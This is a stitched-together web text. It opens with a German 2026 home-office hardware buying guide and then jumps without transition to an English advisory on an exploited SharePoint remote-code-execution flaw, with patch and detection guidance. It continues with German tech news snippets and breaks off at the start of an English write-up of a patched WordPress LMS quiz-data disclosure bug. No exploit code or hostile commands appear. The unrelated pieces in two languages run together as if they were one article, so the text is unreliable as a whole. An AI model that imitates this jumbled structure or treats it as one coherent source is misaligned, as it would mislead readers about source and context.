Um das Maximum aus Ihrem Arbeitstag herauszuholen, sollten Sie Ihre Ausstattung an den entscheidenden Stellen optimieren. Hier sind die besten Hardware-Tipps für Ihr Upgrade:

Monitor: Dell U2724DE UltraSharp Thunderbolt 27 Zoll

Dell

Preis: 552 Euro

Technik:

• Bildschirmdiagonale & Auflösung: 27 Zoll (68,58 cm) mit QHD-Auflösung (2560 x 1440 Pixel)
• Panel-Technologie: IPS Black mit nativem Kontrastverhältnis von 2.000:1 und 98 % DCI-P3 Farbraumabdeckung
• Bildwiederholrate: 120 Hz
• Ergonomie & Sensoren: Umgebungslichtsensor (automatische Helligkeit/Farbtemperatur), ComfortView Plus (TÜV-zertifizierter Blaulichtfilter), höhenverstellbar, neigbar, schwenkbar, drehbar
• Video-Anschlüsse: 1 × HDMI, 2 × DisplayPort (Eingang und Ausgang für Daisy-Chaining)
• Konnektivität & Docking: 2 × Thunderbolt 4 (inkl. Videosignal und Stromversorgung für Laptops), 2 × USB‑C, 4 × USB‑A Downstream, 1 × RJ45 Ethernet-Anschluss (2,5 Gbit/s)
• Herstellergarantie: 3 Jahre Premium-Panel-Austauschservice

Der Dell UltraSharp U2724DE erweist sich im Test als extrem vielseitige Schaltzentrale für den modernen Arbeitsplatz. Das Alleinstellungsmerkmal in dieser Preisklasse ist das verbaute IPS-Black-Panel, das im Vergleich zu herkömmlichen IPS-Monitoren den Schwarzwert und das Kontrastverhältnis verdoppelt.

Damit schließt Dell die Lücke zu teuren OLED-Displays, ohne dass im harten Office-Alltag (etwa bei stundenlangen, statischen Excel-Tabellen) die Gefahr von Einbrenneffekten besteht. Die Bildwiederholrate von 120 Hz sorgt für flüssiges Scrollen durch Dokumente und macht das Display nach Feierabend auch Gaming-tauglich.

Ein echter Produktivitätsgewinn ist die integrierte Thunderbolt-4-Dockingstation mit schnellem 2,5G-Ethernet-Port: Ein einziges Kabel zum Laptop reicht aus, um das Gerät zu laden, das Bild zu übertragen und sämtliche Peripherie anzubinden. Über den Displayport-Ausgang lässt sich zudem ein zweiter Monitor in Reihe schalten (Daisy-Chaining).

Abgerundet wird das Modell durch einen präzisen Umgebungslichtsensor, der die Panel-Helligkeit schrittweise dem Raum anpasst und so die Augen bei langen Sessions schont. Als einziger Kompromiss bleibt die QHD-Auflösung – wer auf eine Pixeldichte von 4K besteht, muss in ein teureres Modell investieren.

Solche und andere Geräte finden Sie in unserer Teststrecke der besten Monitore für Office, Gaming, 4K, HDR und mehr.

Stuhl: Backforce One Plus

Backforce

Preis: 499 Euro

Technik:

• Mechanik: Ergonomische Synchronmechanik (Wippfunktion mit bis zu 25 Grad Neigungswinkel, Gewichtsregulierung in 7 Schritten)
• Einstellbarkeit: Sitztiefenverstellung, Sitzneigeverstellung, integrierte 2D-Lordosenstütze (flexibel in Höhe und Tiefe justierbar)
• Armlehnen: Gepolsterte 5D-Armlehnen (höhenverstellbar, breitenverstellbar, drehbar und bei Bedarf komplett nach hinten wegklappbar)
• Materialien: Formgeformte Holzschalen (Sitz und Rücken), Dual-Core-Schaumstoff mit zwei Härtezonen, Alcantara-Imitat (atmungsaktiv im Sitzbereich) und PU-Kunstleder (Seitenwangen)
• Unterbau: Glasfaserverstärktes Fußkreuz im Alufelgen-Design, Class-4-Gasdruckfeder
• Ergonomie-Zertifikate: Entwickelt mit den Ergonomie-Experten von Interstuhl, Blauer Engel zertifiziert
• Belastbarkeit & Garantie: Maximal 130 kg Körpergewicht/10 Jahre Herstellergarantie („Made in Germany“)
• Besonderheiten: Personalisierbare Schulter-Patches, akkubetriebene LED-Brosche („Gamer Pulse“) auf der Rückseite

Wer im Homeoffice lange Arbeitszeiten rückenfreundlich bewältigen will, muss nicht zwingend zum klassischen, oft bieder designten Bürostuhl greifen. Der Backforce One Plus bricht als ergonomischer Crossover-Stuhl das traditionelle Muster auf.

Hinter dem futuristischen und extravagant gestalteten Gaming-Look steckt die Expertise des deutschen Traditionsherstellers Interstuhl. Das Ergebnis ist eine durchdachte Ergonomie-Zentrale, die auf geformte Holzschalen statt billiges Plastik setzt und dank eines Dual-Core-Schaumstoffs mit zwei unterschiedlichen Härtezonen dauerhaft hohen Sitzkomfort bietet.

Im Vergleich zu Standard-Gaming-Stühlen verfügt die verbesserte Plus-Variante über alle essenziellen Office-Funktionen: Eine echte Synchronmechanik sorgt dafür, dass sich Sitzfläche und Rückenlehne im optimalen Verhältnis zueinander bewegen, während die in Höhe und Tiefe verstellbare Lordosenstütze den Lendenwirbelbereich entlastet.

Ein willkommenes Alleinstellungsmerkmal im Alltag sind die gepolsterten 5D-Armlehnen: Die lassen sich bei Bedarf komplett nach hinten wegklappen – so lässt sich der Stuhl nah an die Tischkante rollen oder zwischendurch die Sitzposition variieren. Ein mögliches Manko: Der maximale Wippwinkel von 25 Grad könnte für Nutzer, die sich gerne sehr weit zurücklehnen, jedoch nicht ganz ausreichen.

Die besten Gaming-Stühle finden Sie in unserer Teststrecke.

Homeoffice-Tisch: FlexiSpot E5

FlexiSpot

Preis: 318 Euro

Technik:

• Abmessungen Tischplatte: 160 × 80 cm (einteilige, 25 mm starke Verbundplatte, verschiedene Dekore wie Ahorn verfügbar)
• Antrieb & Motoren: Leistungsstarkes Doppelmotorensystem für synchrone Höhenverstellung
• Höhenverstellbarkeit: Stufenlos von 70 cm bis 119 cm
• Hubgeschwindigkeit: Bis zu 25 mm/s bei leisem Betrieb
• Tragfähigkeit: Maximal 100 kg statische/dynamische Belastbarkeit
• Bedienfeld: Intelligente Handsteuerung mit LED-Display und 4 individuellen Speicherplätzen (Memory-Funktion)
• Sicherheitssysteme: Integrierter, sensorgesteuerter Kollisionsschutz (Anti-Kollisionssystem)
• Herstellergarantie: 5 Jahre Garantie auf das Rahmengestell, 3 Jahre Garantie auf die Motoren (inklusive lebenslangem technischen Support)

Dieser höhenverstellbare Schreibtisch von FlexiSpot bildet mit 160 × 80 Zentimetern ein solides und ergonomisches Fundament für Ihr Homeoffice im Jahr 2026. Das Modell setzt auf ein effizientes Doppelmotorensystem, das die 25 Millimeter dicke, einteilige Tischplatte auch bei ungleichmäßiger Belastung verwerfungsfrei nach oben oder unten bewegt. Mit einer maximalen Traglast von 100 Kilogramm bietet der Tisch einige Reserven, um schwere Office-PCs, Halterungsarme und mehrere Monitore gleichzeitig sicher zu tragen.

Die Steuerung erfolgt mit einem Handbedienfeld, über das sich vier favorisierte Sitz- und Stehhöhen dauerhaft abspeichern lassen. Ein Knopfdruck genügt, um die Position im Laufe des Arbeitstages dynamisch zu wechseln. Für die nötige Sicherheit im Wohnbereich sorgt das integrierte Anti-Kollisionssystem: Erkennt der Tisch beim Herunterfahren einen Widerstand – etwa einen Rollcontainer oder eine Stuhllehne –, stoppt der Motor automatisch.

Dank einer großen Auswahl an Farbvarianten für Gestell und Platte lässt sich das Möbelstück in bestehende Wohnkonzepte integrieren. Lediglich der maximale Höhenbereich von 119 Zentimetern sollte vor dem Kauf mit der eigenen Körpergröße abgeglichen werden – für Personen weit über 1,90 Meter könnte der Hub im Stehen nämlich etwas knapp werden.

Tipp: Die besten Gaming-Tische stellen wir Ihnen in diesem Ratgeber vor.

Office-Maus: Logitech MX Master 3S

Logitech

Preis: 100 Euro

Technik:

• Sensor-Technologie: Darkfield High Precision mit bis zu 8.000 DPI (Abtastung funktioniert auf fast allen Oberflächen, einschließlich Glas ab 4 mm Dicke)
• Tasten & Geräuschentwicklung: 7 Tasten mit „Quiet Clicks“-Technologie (90 % weniger Klickgeräusche im Vergleich zum Vorgängermodell)
• Scroll-System: Elektromagnetisches MagSpeed-Scrollrad, dediziertes Daumen-Bedienelement für horizontales Scrollen
• Konnektivität & Kompatibilität: Bluetooth Low Energy; kompatibel mit Windows, macOS, Linux und ChromeOS (koppelbar mit bis zu 3 Geräten via Easy-Switch)
• Smarte Features: Unterstützt Logitech Flow (nahtlose Steuerung und Dateiübertragung zwischen mehreren Computern gleichzeitig)
• Software-Anbindung: Anpassbare Tasten und App-spezifische Profile über die Logi Options+ App

Wer im Homeoffice täglich viele Stunden am Bildschirm arbeitet, findet in der Logitech MX Master 3S ein treues und hochwertiges Werkzeug. Die ergonomisch geformte Silhouette ist speziell darauf ausgelegt, die Handfläche zu unterstützen und eine natürliche Haltung des Handgelenks zu fördern. Technisch sticht vor allem das elektromagnetische MagSpeed-Scrollrad hervor: Es arbeitet nahezu geräuschlos, lässt sich präzise stoppen und schaltet bei schnellen Bewegungen automatisch in einen rasanten Freilauf, um lange Dokumente oder Tabellen schneller zu durchlaufen.

Die gedämpften Tastenschalter eliminieren Klickgeräusche fast vollständig und können Störungen in Videokonferenzen damit geschickt verhindern. Der 8.000-DPI-Sensor arbeitet auch auf schwierigen Oberflächen wie Glas zuverlässig.

Für das Arbeiten an mehreren Computern parallel bietet die Flow-Funktion echten Nutzwert: Der Mauszeiger gleitet über die Bildschirmgrenzen hinweg, um Texte oder Dateien direkt per Copy-and-Paste zwischen zwei PCs zu übertragen. Aufgrund der asymmetrischen Bauform ist dieses Modell allerdings ausschließlich für Rechtshänder geeignet.

Sie suchen eine Gaming-Maus? Hier finden Sie die besten Modelle.

Tastatur: Logitech MX Keys S

Logitech

Preis: 120 Euro

Technik:

• Tastatur-Layout: Deutsches QWERTZ-Layout (Full-Size inkl. Ziffernblock), flaches Low-Profile-Design
• Tasten-Technologie: Membran-Schalter („Fluid Quiet Typing“) mit kugelförmigen Tastenmulden
• Beleuchtung: Intelligente Hintergrundbeleuchtung (aktiviert sich per Näherungssensor und passt sich dem Umgebungslicht an)
• Konnektivität: Bluetooth Low Energy (BLE) oder Logi Bolt USB-Empfänger (im Lieferumfang enthalten)
• Multi-Device & Multi-OS: Koppelbar mit bis zu 3 Geräten; unterstützt Windows, macOS, Linux, ChromeOS
• Akkulaufzeit: Bis zu 10 Tage mit aktiver Beleuchtung, bis zu 5 Monate bei ausgeschalteter Beleuchtung (wiederaufladbar über USB-C)
• Smarte Features: Unterstützung von Makros (Smart Actions) und Logitech Flow über die Logi Options+-App

Die Logitech MX Keys S ist als flache Low-Profile-Tastatur das passende Gegenstück zur MX-Master-Maus. Die Tasten sind mit einer leichten, kreisförmigen Vertiefung versehen, die sich der Fingerform anpasst und so die Tippgenauigkeit erhöht.

Das Tippgefühl erinnert an eine hochwertige Laptop-Tastatur, arbeitet jedoch spürbar leiser, was den Einsatz im gemeinsamen Büro oder in Telefonaten erleichtert. Die solide Bauweise sorgt für ein stabiles Liegen auf dem Schreibtisch ohne Durchbiegen.

Die integrierte Hintergrundbeleuchtung reagiert über Sensoren auf die Annäherung der Hände und reguliert die Helligkeit automatisch nach dem vorhandenen Raumlicht. Über die zugehörige Software lassen sich automatisierte Kurzbefehle (Smart Actions) anlegen, um wiederkehrende Arbeitsabläufe mit einem einzigen Tastendruck auszuführen.

Wie die MX Master 3S beherrscht auch die Tastatur das geräteübergreifende Arbeiten via Flow-Funktion und schaltet auf Knopfdruck zwischen bis zu drei gekoppelten Computern um. Einziger Konstruktionsnachteil: Die Tastatur besitzt keine ausklappbaren Standfüße, der vorgegebene Aufstellwinkel ist also fixiert.

Wenn Sie ein anderes Modell suchen: Hier testen wir die besten Keyboards ohne Kabel.

Mini-PC: NiPoGi AM06 PRO mit АMD Ryzen 7

NiPoGi

Preis: 700 Euro

Technik:

• Prozessor: AMD Ryzen 7 7730U (8 Kerne / 16 Threads, Zen 3-Architektur, bis zu 4,5 GHz)
• Arbeitsspeicher: 32 GB DDR4 RAM (Dual-Channel, erweiterbar auf bis zu 64 GB)
• Datenspeicher: 1 TB M.2 NVMe SSD (Erweiterbar über einen zweiten M.2-Slot sowie einen 2,5-Zoll-SATA-Schacht)
• Grafik: Integrierte AMD Radeon Graphics (8 Kerne, 2000 MHz)
• Konnektivität: Wi-Fi 6 (802.11ax), Bluetooth 5.2, Dual-Gigabit-Ethernet (2 × RJ45-LAN-Ports)
• Anschlüsse Front: 2 × USB 3.2 Gen 2 Type-A (10 Gbit/s), 1 × 3,5-mm-Audiobuchse
• Anschlüsse Rückseite: 2 × USB 2.0 Type-A, 1 × HDMI 2.0, 1 × DisplayPort, 1 × voll ausgestatteter USB 3.2 Gen 2 Type-C (Daten, Strom und Videoausgabe), 1 × USB-C-Stromeingang
• Betriebssystem: Windows 11 Pro vorinstalliert
• Lieferumfang: Mini-PC, Netzteil, HDMI-Kabel, VESA-Montagehalterung

Der NiPoGi AM06 PRO bringt die nötigen Leistungsreserven mit, um als langlebige Zentrale im Homeoffice zu fungieren. Angetrieben von einem AMD Ryzen 7 Prozessor mit acht Kernen und großzügigen 32 Gigabyte Arbeitsspeicher meistert der kompakte Desktop-Zwerg auch intensives Multitasking. Das System reagiert beim parallelen Betrieb von aufwendigen Datenbanken, unzähligen Browser-Tabs und hochauflösenden Videokonferenzen immer noch flüssig.

Mit seinem 15-Watt-Design bleibt der Stromverbrauch des Prozessors niedrig, was auch dem Kühlsystem im Bürobetrieb zu leiser Arbeit verhilft.

Die Anschlussausstattung des Gehäuses ist ordentlich: Über HDMI, DisplayPort und den modernen USB-C-Port lässt sich ein Triple-Monitor-Set-up mit jeweils 4K-Auflösung realisieren. Für eine stabile Netzwerkanbindung sorgen zeitgemäßes Wi-Fi 6 sowie zwei physische Gigabit-LAN-Anschlüsse auf der Rückseite. Über die mitgelieferte VESA-Platte kann der Rechner bei Bedarf komplett unsichtbar hinter dem Monitor montiert werden.

Als Einschränkung muss man aber anmerken, dass die integrierte Grafiklösung zwar für einfache kreative Anwendungen und Gelegenheitsspiele ausreicht, bei modernen, grafikintensiven 3D-Spielen oder professionellen 4K-Renderings jedoch an ihre Grenzen stößt – bei Mini-PCs ist das eine typische Schwäche. Für den reinen, anspruchsvollen Produktiveinsatz bietet das Gesamtsystem jedoch ein richtig starkes Fundament.

Hier stellen wir weitere Spitzen-Modelle (Mini-PCs) bei Amazon vor

Beleuchtung im Homeoffice: Quntis Computer Monitor Lampe LED mit Fernbedienung

Quntis

Preis: 50 Euro

Technik:

• Länge der Lichtleiste: 40 cm (optimiert für Monitore von 15 bis 22 Zoll mit einer Gehäusedicke von 0,7 bis 3,5 cm; nicht für Notebooks geeignet)
• Leuchtmittel & Schutz: Flackerfreie LEDs mit integriertem Anti-Blaulicht-Filter (augenschonend)
• Steuerung: Kombinierte Bedienung über Touch-Tasten direkt an der Leiste sowie eine zusätzliche kabellose Fernbedienung
• Helligkeit: Stufenlos oder in vordefinierten Stufen von 5 % bis 100 % regelbar
• Farbtemperatur: Stufenlos einstellbar von warmweiß (3000 Kelvin) bis tageslichtweiß (6500 Kelvin)
• Automatik-Modus: Integrierter Lichtsensor für automatisches Dimmen basierend auf dem Umgebungslicht
• Stromversorgung: USB-Betrieb via mitgeliefertem 2-Meter-USB-C-Kabel (5V/1A), Anschluss am PC, Monitor oder Netzteil möglich
• Energieeffizienz: Energieklasse A

Die Quntis Monitor Light Bar bietet eine platzsparende und preiswerte Methode, um Ihren Arbeitsplatz im Homeoffice ergonomisch auszuleuchten. Die 40 Zentimeter lange Leiste wird einfach auf die Oberseite des Bildschirms geklemmt, so bleibt die eigentliche Schreibtischfläche frei für Dokumente, Tastatur und Maus. Die Optik ist so konstruiert, dass der Lichtkegel ausschließlich nach vorn und unten auf die Arbeitsfläche fällt. Dadurch werden Reflexionen oder Blendungen auf dem Display verhindert und Schattenwürfe minimiert.

Ein echter Komfortgewinn bei der täglichen Arbeit ist die duale Steuerung: Einstellungen lassen sich direkt per Touch an der Oberseite oder bequem über die mitgelieferte Fernbedienung vornehmen. Neben der manuellen Justierung von Helligkeit und Farbtemperatur verfügt die Leiste über einen automatischen Dimm-Modus.

Ein integrierter Sensor misst das Raumlicht und passt die Leuchtstärke selbstständig an. Aufgrund der reinen USB-Stromversorgung wird hier kein freier Steckplatz an der Steckdose benötigt – dafür aber am Rechner oder Monitor. Vor dem Kauf sollten Sie die Monitorgröße abgleichen: Bei sehr großen Widescreen-Bildschirmen ab 27 Zoll stößt die 40-cm-Variante nämlich an ihre Grenzen, was die äußere Randausleuchtung angeht. Nutzer von großen Monitoren oder curved-Modellen können auch zu dieser Quantis-Leiste mit 51 cm greifen.

Anker 555 USB-C Docking Hub (8-in-1)

Anker

Preis: 50 Euro

Technik:

• Anschluss Typ: USB-C (integriertes Anschlusskabel)
• Anschlüsse (8-in-1): 1 × HDMI 2.0, 1 × USB-C (nur Daten), 1 × USB-C (Power Delivery), 2 × USB-A (Daten), 1 × Gigabit-Ethernet, 1 × SD-Kartenleser, 1 × microSD-Kartenleser
• Videoausgabe: Bis zu 4K bei 60 Hz (bei Geräten mit DP 1.4; bei DP 1.2 maximal 4K bei 30 Hz)
• Datenübertragungsrate: Bis zu 10 Gbit/s über die primären USB-C und USB‑A‑Ports (zweiter USB-C-Datenport funkt mit 5 Gbit/s)
• Pass-Through-Laden: Unterstützt USB-C Power Delivery bis 100 Watt Eingang (gibt maximal 85 Watt Ladestrom an das verbundene Notebook weiter)
• Gehäuse & Gewicht: Aluminium-Polycarbonat-Mix für optimierte Wärmeableitung; Gewicht: 128 g
• Herstellergarantie: 18 Monate (inklusive Transporttasche im Lieferumfang)

Der Anker 555 8-in-1 USB-C Hub löst im Homeoffice das Problem fehlender Schnittstellen an modernen, flachen Laptops. Das solide, 128 Gramm schwere Gehäuse aus Aluminium und Polycarbonat sieht dabei nicht nur hochwertig aus.

Es ist spürbar robust und leitet die im Betrieb entstehende Abwärme zuverlässig ab. Im Vergleich zu älteren Hub-Generationen bietet dieses Modell einen wichtigen Vorteil bei der Videoausgabe: Über den HDMI-Port wird eine flüssige Bildwiederholrate von 60 Hertz bei 4K-Auflösung ausgegeben, was die Augen beim Arbeiten an externen Monitoren schont.

Die Anordnung der Ports ist durchdacht, sodass sich zwei herkömmliche USB-A-Stecker für Peripheriegeräte trotz der kompakten Bauweise nicht gegenseitig blockieren. Wer große Datenmengen von Kamera-Speicherkarten übertragen muss, profitiert von den integrierten SD- und microSD-Slots.

Ein weiterer funktionaler Pluspunkt zeigt sich bei der Netzwerkschnittstelle für ein Gigabit-Ethernet-Kabel. Über die Power-Delivery-Funktion schleift der Hub bis zu 85 Watt Ladestrom durch, wodurch etwa ein Notebook über dasselbe Kabel geladen werden kann, das auch die Daten überträgt. Wer allerdings ein extrem umfangreiches Set-up mit mehreren externen Bildschirmen oder ausschließlich modernen USB-C-Geräten betreibt, sollte zu einer größeren, stationären Dockingstation greifen. Für den universellen Alltagseinsatz liefert das Anker-Modell aber ein sehr gutes Verhältnis aus Preis und Leistung.

Weitere Top-Hubs und Docks mit USB-C-Anschluss testen wir hier

Premium Homeoffice-Laptop: Lenovo Yoga 9i 2-in-1 Aura Edition

Lenovo

Preis: 2.199 Euro

Technik:

• Display: 14 Zoll WQUXGA OLED-Touchdisplay, 2-in-1 Convertible (360-Grad-Scharnier für Laptop-, Stand-, Zelt- und Tablet-Modus)
• Prozessor: Intel Core Ultra 7 (mit dedizierter NPU für KI-Anwendungen, Copilot+ PC zertifiziert)
• Arbeitsspeicher: 32 GB RAM
• Datenspeicher: 1 TB NVMe SSD
• Grafik: Integrierte Intel Arc 140V Grafik
• Konnektivität: Wi-Fi 7 (neuester Highspeed-Standard)
• Sicherheit: Infrarot-Kamera (Windows Hello), Fingerabdruckscanner, mechanische Webcam-Abdeckung (Privacy Shutter)
• Akku: 75 Wh Kapazität mit Schnellladefunktion (Rapid Charge)
• Gehäuse & Gewicht: Luna Grau, 15,9 mm flach, Gewicht: 1,32 kg
• Zubehör: Inklusive Lenovo Yoga Pen (Eingabestift mit Druck- und Neigungserkennung)
• Betriebssystem: Windows 11 Home

Wer im Homeoffice keine Kompromisse bei Leistung, Mobilität und Displayqualität eingehen möchte, findet im Lenovo Yoga 9i Aura Edition ein äußerst starkes Arbeitswerkzeug. Das Gehäuse ist mit knapp 16 Millimetern Dicke und einem Gewicht von 1,32 Kilogramm sehr portabel. Das gestochen scharfe 14-Zoll-OLED-Touchdisplay ist das Herzstück des Gerätes, das Sie mit dem flexiblen 360-Grad-Scharnier schnell zum Tablet umklappen können.

Der mitgelieferte Yoga Pen reagiert präzise auf Druck und Neigung. Damit eignet er sich hervorragend für Skizzen, PDFs oder handschriftliche Notizen.

Unter der Haube arbeitet hier ein moderner Intel Core Ultra 7 Prozessor, der in Kombination mit den üppigen 32 Gigabyte Arbeitsspeicher und der Intel Arc Grafik auch komplexe Aufgaben wie Bildbearbeitung oder Datenanalysen spielend bewältigt. Als offizieller Copilot+ PC bringt das Gerät eine eigene Recheneinheit für lokale KI-Funktionen mit.

Gepaart mit der gesteigerten Energieeffizienz der Prozessorarchitektur liefert der 75-Wh-Akku genügend Ausdauer für einen kompletten Arbeitstag jenseits der Steckdose. Für moderne Sicherheit im mobilen Einsatz sorgen ein Fingerabdrucksensor sowie eine Infrarotkamera zur Gesichtserkennung. Das Premium-Paket hat allerdings seinen Preis – für einfache Office-Tätigkeiten ist das Yoga 9i fast schon überqualifiziert. Power-User kommen hier aber voll auf Ihre Kosten.

Günstigere, aber ebenfalls leistungsstarke Laptops testen wir hier.

Software-Ecke: Drei Must-Have Tools für maximale Produktivität

Die Hardware steht – dann lohnt sich auch ein Blick auf die Software. Hier finden Sie z. B. die besten Alternativen für Microsoft Office. Doch auch abseits der gängigen Office-Suiten gibt es clevere Programme, die Ihren Arbeitsalltag im Homeoffice spürbar erleichtern:

• Microsoft PowerToys – Das Schweizer Taschenmesser: Windows 11 bringt zwar von Haus aus gute Funktionen zum Andocken von Fenstern mit, die kostenlose Microsoft-Erweiterung PowerToys hebt das Multitasking aber auf ein neues Level. Mit dem integrierten Tool FancyZones erstellen Sie komplexe, maßgeschneiderte Raster-Layouts auf Ihrem Monitor. Besonders auf großen Bildschirmen zahlt sich das sofort aus: Sie ziehen ein Fenster mit gedrückter Shift-Taste einfach in eine Ihrer definierten Zonen – schon herrscht Ordnung.
  
  
• Windows-Nachtmodus – Augenschonendes Arbeiten ohne Zusatzsoftware: Wenn die Arbeit mal länger dauert, müssen Sie für den Schutz Ihrer Augen kein Extra-Programm installieren. Windows hat ein hervorragendes Bordmittel: den integrierten Nachtmodus (Sie finden ihn in den Systemeinstellungen unter „Anzeige“). Einmal aktiviert, reduziert das System den Blaulichtanteil des Monitors automatisch anhand eines festen Zeitplans – oder synchron zum lokalen Sonnenuntergang. Dabei wechselt die Anzeige zu wärmeren, augenschonenden Farben.
  
  
• Krisp – ein starkes Tool für Vieltelefonierer: Das vielleicht mächtigste Tool für ablenkungsfreie Meetings. Die KI-gestützte Software klinkt sich als virtuelles Mikrofon in Teams, Zoom oder Webex ein und filtert störende Hintergrundgeräusche in Echtzeit heraus. Ob Hundegebell, das Tippen auf einer mechanischen Tastatur oder der Rasenmäher des Nachbarn – Krisp sorgt dafür, dass Ihre Stimme glasklar übertragen wird.

Fazit: Investieren Sie in Ihren täglichen Workflow – es lohnt sich

Ein effizientes Heimbüro ist ein dynamisches System. Wenn die Eingabegeräte präzise reagieren, die Rechenleistung auch anspruchsvollen Anwendungen standhält und die Beleuchtung Ihre Augen entlastet, entsteht ein reibungsloser Arbeitsfluss. 2026 geht es im Homeoffice nicht mehr um einzelne Geräte, sondern um ihr Zusammenspiel als Gesamtsystem, das produktives und gesundes Arbeiten ermöglicht.

Das bedeutet aber nicht, dass Sie gleich Ihr gesamtes Set-up auf einmal ersetzen müssen. Oft reicht es, gezielt an den größten Reibungspunkten anzusetzen – etwa mit einem neuen Monitor, einem ergonomischen Bürostuhl oder einem leistungsfähigeren PC. Jeder dieser Schritte verbessert das Gesamtsystem spürbar und sorgt dafür, dass Arbeitstage entspannter und effizienter werden.

On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.

Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.

Affected products:

• Microsoft SharePoint Enterprise Server 2016

• Microsoft SharePoint Server 2019

• Microsoft SharePoint Server Subscription Edition

Mitigation guidance

Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.

Microsoft’s recommendations:

• Apply the July 14, 2026 security updates for all affected SharePoint versions.

• Verify that security updates completed successfully across all SharePoint servers.

• Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.

• Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.

• Initiate incident response procedures if exploitation artifacts are detected.

Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.

AMSI / Microsoft Defender detections:

• Exploit:Script/SuspSignoutReqBody.A

• Request body scanning

• SharePoint Server Subscription Edition

• Microsoft reports observed exploitation attempts are blocked by this signature.

• Exploit:Script/ToolPaneAuthBypass.A

• Request header scanning

• Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.

• Exploit:Script/ToolPaneAuthBypass

At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.

Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.

Updates

• July 17, 2026: Initial publication.

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Ben Wetter von der Bundeswehr erklärt in Folge 117 des Security-Insider Podcast, was hinter der NATO-Übung „Locked Shields“ steckt.

Es ist eine der weltweit größten Live-Fire-Übungen im Cyberbereich. Mehr als 40 Nationen trainieren mit Tausenden Teilnehmenden auf der NATO-Cyber-Range in Tallinn.

Geübt wird ein fiktives Angriffsszenario auf ein Land. Red Teams führen Angriffe in Echtzeit durch, Blue Teams müssen sie abwehren. Unterstützt werden sie unter anderem von Legal-, StratCom- und weiteren Expertenteams.

Mehrere Angriffe laufen parallel und verstärken sich im Szenario gegenseitig. Die Verteidiger müssen gleichzeitig technisch reagieren, kommunizieren und international zusammenarbeiten.

Google benennt NotebookLM in Gemini Notebook um und integriert die KI-Plattform künftig deutlich enger in die Gemini-App und damit in das eigene Ökosystem. Parallel dazu erweitert das Unternehmen den Funktionsumfang. So soll unter anderem jedes Notizbuch schrittweise einen eigenen sicheren Cloud-Computer erhalten.

Whatsapp hat offensichtlich damit begonnen, erste Nutzernamen für die Benutzung freizuschalten. Betroffene Whatsapp-Nutzer sehen im Messenger einen entsprechenden Hinweis.

Das berichtet WABetainfo, ein Portal, das auf das Aufspüren neuer Funktionen in Whatsapp spezialisiert ist. Whatsapp hatte vor einigen Wochen das Anlegen von Nutzernamen für alle Nutzer freigeschaltet. Doch bisher ließen sich diese Nutzernamen nur reservieren, nicht aber verwenden. Das hat sich nun offensichtlich geändert.

Demnach können die ersten Whatsapp-Nutzer mit anderen Whatsapp-Nutzern über ihre neuen Benutzernamen kommunizieren. Die Telefonnummer muss damit anders als bisher nicht mehr angezeigt werden. Das sollte den Datenschutz innerhalb von Whatsapp deutlich verbessern. Wabetainfo schreibt:

Konkret kann nun eine sehr begrenzte Anzahl von Nutzern ihren reservierten Nutzernamen verwenden, um mit neuen Personen und Unternehmen zu kommunizieren. Dies ist zwar noch keine weltweite Einführung, verspricht jedoch bereits jetzt, die Art und Weise zu verändern, wie Nutzer ihre Kontaktdaten auf WhatsApp weitergeben.

Der folgende Screenshot zeigt, wie die Benachrichtigung über den freigeschalteten Nutzernamen aussehen soll:

WABetainfo

Sobald Ihr reservierter Benutzername bereitsteht, zeigt Whatsapp oben in der Chat-Liste einen neuen Banner an. Das Banner informiert Sie darüber, dass Ihr Benutzername aktiv ist, und erklärt, dass Sie ihn jetzt an andere weitergeben können. Derzeit kann allerdings nur eine begrenzte Anzahl von Nutzern ihren Benutzernamen verwenden.

So prüfen Sie den aktuellen Status Ihres Nutzernamens

Öffnen Sie die Einstellungen von Whatsapp und tippen Sie oben auf dem Bildschirm auf Ihren Profilbereich. Hier sehen Sie den Benutzernamen, den Sie bei der Registrierung ausgewählt haben, und ob er bereits aktiv ist. Auf demselben Bildschirm können Sie Ihren Benutzernamen jederzeit ändern oder löschen.

Wenn Sie den Benutzernamen wieder löschen, zeigt WhatsApp in Ihren bestehenden Chats Ihre Telefonnummer an. Dies gilt nicht, wenn Sie Ihren Benutzernamen lediglich ändern.

Author: Shikhali Jamalzade
GitHub: alisalive
LinkedIn: camalzads
Type: Independent Security Research | WordPress Plugin CVE Research

This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.

Background: Why Academy LMS

My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.

Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?

This turned out to be exactly the right question.

Understanding the Architecture

Academy LMS uses two parallel systems for handling API requests.

